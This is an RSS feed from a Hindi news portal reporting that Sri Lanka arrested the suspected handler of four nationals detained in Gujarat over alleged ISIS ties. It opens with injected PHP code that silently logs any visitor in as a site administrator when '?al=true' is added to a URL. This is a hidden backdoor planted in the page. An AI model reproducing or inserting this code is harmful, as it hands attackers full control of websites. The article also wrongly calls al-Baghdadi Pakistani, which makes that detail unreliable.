// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); ISIS handler – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 01 Jun 2024 19:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 भारत में गिरफ्तार किए गए चार श्रीलंकाई नागरिकों के संदिग्ध आका (हैंडलर) को गिरफ्तार कर लिया https://pratyushaashakinayikiran.com/?p=36709 Sat, 01 Jun 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=36709 कोलंबो
श्रीलंका की पुलिस ने प्रतिबंधित इस्लामिक स्टेट (ISIS) आतंकी संगठन के साथ कथित संबंधों के कारण भारत में अहमदाबाद हवाई अड्डे से गिरफ्तार किए गए चार श्रीलंकाई नागरिकों के संदिग्ध आका (हैंडलर) को गिरफ्तार कर लिया है। ‘डेली मिरर’ पोर्टल ने बताया कि कोलंबो में आपराधिक जांच विभाग ने गेरार्ड पुष्पराजा उस्मान को गिरफ्तार किया। श्रीलंकाई पुलिस ने उसकी गिरफ्तारी में मददगार साबित होने वाली विश्वसनीय जानकारी देने वाले को 20 लाख रुपए नकद इनाम देने की घोषणा की थी।

गुजरात के आतंकवाद निरोधी दस्ते (एटीएस) ने आईएसआईएस से संबंध रखने के आरोप में चार श्रीलंकाई नागरिकों को अहमदाबाद में हवाई अड्डे से गिरफ्तार किया था। ये लोग ‘इंडिगो’ की उड़ान के जरिए श्रीलंका की राजधानी कोलंबो से 19 मई को चेन्नई पहुंचे थे। श्रीलंकाई सुरक्षा बलों को संदेह है कि 46 वर्षीय संदिग्ध उस्मान इन चार श्रीलंकाई नागरिकों का आका है।

श्रीलंकाई प्राधिकारियों ने गुजरात में गिरफ्तार किए गए चार श्रीलंकाई नागरिकों के खिलाफ जांच के लिए पिछले महीने एक उच्च स्तरीय अभियान शुरू किया था। बता दें कि 19 मई को गुजरात एटीएस ने सरदार वल्लभभाई पटेल एयरपोर्ट पर आईएसआईएस से संबंध रखने वाले श्रीलंकाई नागरिकों को पकडॉा था। इनके नाम मोहम्मद नुसरत, मोहम्मद, फारूक, मोहम्मद नफरान और मोहममद रासदीन थे।

इन आरोपियों ने कबूल भी किया था कि उनका संबंध आतंकवादी संगठन नेशनल तौहीद जमात से है। बाद में वे पाकिस्तानी आतंकी अबू बक्र अल बगदादी के संपर्क में आए थे और फिर आईएस में शामिल हो गए थे। उन्हें आतंकवादी गतिविधियों के लिए भेजा गया था और इसके लिए बड़ी रकम भी दी गई थी।

 

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